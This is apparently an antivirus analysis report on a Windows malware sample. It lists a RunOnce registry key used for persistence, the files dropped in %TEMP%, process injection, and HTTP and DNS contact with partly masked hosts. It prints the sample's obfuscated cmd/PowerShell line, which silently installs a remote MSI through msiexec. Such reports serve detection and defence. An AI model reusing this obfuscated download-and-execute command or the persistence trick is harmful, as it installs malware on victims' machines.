Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'JORDSKAELV' = '%TEMP%\spurven\Hannerne9.vbs'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell m%ProgramW6432:~15%iexec.exe /q%CommonProgramFiles(x86):~-25,1%/%windir:~-6,1% http://fa#1.ru/far.msi
Injects code into
the following user processes:
- hannerne9.exe
Modifies file system
Creates the following files
- %TEMP%\spurven\hannerne9.exe
- %TEMP%\spurven\hannerne9.vbs
Network activity
TCP
HTTP GET requests
- http://fa#1.ru/far.msi
- http://we####thisbar.us/Host_doxJdsggH87.bin
UDP
- DNS ASK fa#1.ru
- DNS ASK we####thisbar.us
Miscellaneous
Creates and executes the following
- '%WINDIR%\installer\msi3d43.tmp'
- '%TEMP%\spurven\hannerne9.exe'
- '<SYSTEM32>\cmd.exe' /c powershell m%ProgramW6432:~15%iexec.exe /q%CommonProgramFiles(x86):~-25,1%/%windir:~-6,1% http://fa#1.ru/far.msi' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' msiexec.exe /q /i http://fa#1.ru/far.msi
- '<SYSTEM32>\msiexec.exe' /q /i http://fa#1.ru/far.msi
